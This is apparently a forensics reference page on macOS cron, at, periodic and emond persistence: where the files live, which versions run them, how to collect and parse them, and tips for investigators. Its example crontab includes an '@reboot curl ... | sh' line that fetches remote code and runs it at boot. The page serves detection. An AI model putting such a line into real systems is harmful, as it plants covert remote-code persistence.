cron, at and periodic: macOS Scheduled Job Persistence
Legacy macOS schedulers (cron tabs, at jobs, periodic scripts, emond rules): where they live, which versions still run them and how to spot abuse.
- Location
- /usr/lib/cron/tabs/
- Proves
- Whether a command was scheduled to run repeatedly or once through a Unix-style scheduler, by which account
- Timestamps
- File system times of tab and job files (APFS, UTC); cron schedules are in local time
- Access
- root (tabs directory is mode 700)
- Retention
- Until the crontab, job or script is removed
- Collection
- Aftermath, UAC, mac_apt, ditto
Tools
Compare all tools- crontabCLI · built into macOS
- mac_aptCLI · open source
- AftermathCLI · open source
What it is
macOS inherited several BSD schedulers, all started by launchd today:
- cron runs per-user crontabs and an optional
/etc/crontab. Apple's man page says its functionality has been absorbed into launchd, but it is still present on macOS 26 Tahoe and starts on demand. - at queues one-off jobs, executed by
atrun, which is disabled by default. - periodic ran daily, weekly and monthly maintenance scripts. It was removed in macOS 15 Sequoia.
- emond (event monitor daemon) ran rule-based actions at events such as startup. It is gone from macOS 13 Ventura onwards.
Because legitimate use is rare on modern Macs, any user crontab, queued at job, added periodic script or emond rule is worth explaining. Attackers like cron for its simplicity: installing a tab needs no plist, and a standard user may edit their own tab unless listed in cron.deny (which contains only Guest by default).
Where it lives
| Mechanism | Path | Versions | Notes |
|---|---|---|---|
| User crontabs | /usr/lib/cron/tabs/<user> (symlink target /private/var/at/tabs/) | All | Directory mode 700, root only |
| System crontab | /etc/crontab (/private/etc/crontab) | All | Absent by default; its presence starts cron |
| cron access control | /usr/lib/cron/cron.allow, cron.deny | All | |
| cron launchd job | /System/Library/LaunchDaemons/com.vix.cron.plist | All | Runs /usr/sbin/cron when /etc/crontab exists or tabs is non-empty |
| at jobs and spool | /usr/lib/cron/jobs/, /usr/lib/cron/spool/ | All | |
| at access control | /usr/lib/cron/at.allow, at.deny | All | |
| atrun launchd job | /System/Library/LaunchDaemons/com.apple.atrun.plist | All | Disabled = true by default, StartInterval 30 |
| periodic scripts | /etc/periodic/daily, weekly, monthly; /usr/local/etc/periodic/* | Up to 14 Sonoma | Removed in 15 Sequoia |
| periodic config | /etc/defaults/periodic.conf | Up to 14 Sonoma | Defines which script directories run |
| periodic launchd jobs | com.apple.periodic-daily, -weekly, -monthly in /System/Library/LaunchDaemons/ | Up to 14 Sonoma | |
| periodic output | /var/log/daily.out, weekly.out, monthly.out | Up to 14 Sonoma | |
| emond rules | /etc/emond.d/rules/, queue /private/var/db/emondClients | Up to 12 Monterey | Binary /sbin/emond |
/usr/lib/cron is a symlink to ../../var/at, so on disk everything sits under /private/var/at/. On images, look under /System/Volumes/Data/private/var/at/.
What it proves
- A user (tab file name = account name) scheduled a command to run on a time pattern, and what the command line was.
- A one-off command was queued with
at(job file contains the environment and the command). - A script was added to the periodic directories to run as root on older releases.
- An emond rule was planted to run a command at startup or other events (up to Monterey).
It does not prove the job actually ran. For cron, cron mails output to the owner (look for /var/mail/<user>) and child processes appear in the Unified Logs. atrun must have been enabled for at jobs to run.
Key fields
A crontab line has five time fields and a command; /etc/crontab adds a user field:
# min hour day-of-month month day-of-week command
*/10 * * * * /Users/Shared/.u/update.sh >/dev/null 2>&1
@reboot curl -s https://example.invalid/x | sh
Special strings such as @reboot, @hourly and @daily replace the five fields. MAILTO= and other variables may precede the entries. crontab -l -u <user> (as root) prints a user's tab.
Timestamps
Scheduler files carry no internal creation dates. Use APFS birth, modification and change times (nanosecond precision, UTC) of each tab and job file, plus the modification time of the tabs directory: the crontab command updates the spool directory's modification time on every change, which cron uses to reload tabs.
sudo stat -f '%SB %Sm %N' -t '%Y-%m-%dT%H:%M:%S%z' /private/var/at/tabs /private/var/at/tabs/* /private/var/at/jobs/*
Schedules inside crontabs are evaluated in the system's local time zone.
Retention
Tabs, jobs, scripts and rules persist until deleted; at jobs leave the queue once executed. Sequoia and later do not run periodic at all, so for activity on older releases check APFS snapshots and Time Machine backups as well as the live /etc/periodic tree, if one is still present. Periodic output files (daily.out etc.) accumulated on releases up to Sonoma.
Collection
sudo ditto /private/var/at ./case/var_at
sudo ditto /private/etc/crontab ./case/ 2>/dev/null
sudo ditto /private/etc/periodic ./case/periodic 2>/dev/null
sudo ditto /private/etc/defaults/periodic.conf ./case/ 2>/dev/null
sudo ditto /private/etc/emond.d ./case/emond.d 2>/dev/null
sudo launchctl print system/com.vix.cron > ./case/cron_launchd.txt 2>&1
- Aftermath collects
/usr/lib/cron/tabsand/usr/lib/cron/jobs, the/etc/periodicdaily, weekly and monthly scripts, and/etc/emond.don older systems. - UAC collects
/private/var/at(files/system/job_scheduler.yaml) and/private/etc. - mac_apt
AUTOSTARTlists periodic scripts along with launchd items.
Parsing
Tabs and job files are plain text:
for f in ./case/var_at/tabs/*; do echo "== $(basename "$f")"; grep -v '^#' "$f"; done
grep -h -v '^#' ./case/var_at/jobs/* | tail -n 20 # at job commands follow the environment block
For periodic, compare the script list in /etc/periodic/* against a clean installation of the same macOS version and read daily.out for script output. For emond, rules are plists: plutil -p /etc/emond.d/rules/*.plist.
Investigator tips
- Any file in
/usr/lib/cron/tabs/on a modern Mac is unusual. Check the owner account, then the command path:/Users/Shared,/tmp, hidden folders andcurl | shpatterns are red flags. /etc/crontabis absent by default. If present it makes launchd start cron, and each line carries a user field, so entries often run asroot.atjobs matter only ifatrunwas enabled: check for alaunchctlenable or override forcom.apple.atrunandsudocommands in sudo logs.- Pair each crontab's birth time with shell history (
crontab -e,crontab -orecho ... | crontab). - cron runs under launchd, so the modern equivalents live in LaunchAgents and LaunchDaemons and Background Task Management: check both.
- On a Sequoia or later system, a
periodicbinary or/etc/periodictree that reappeared was put there by someone.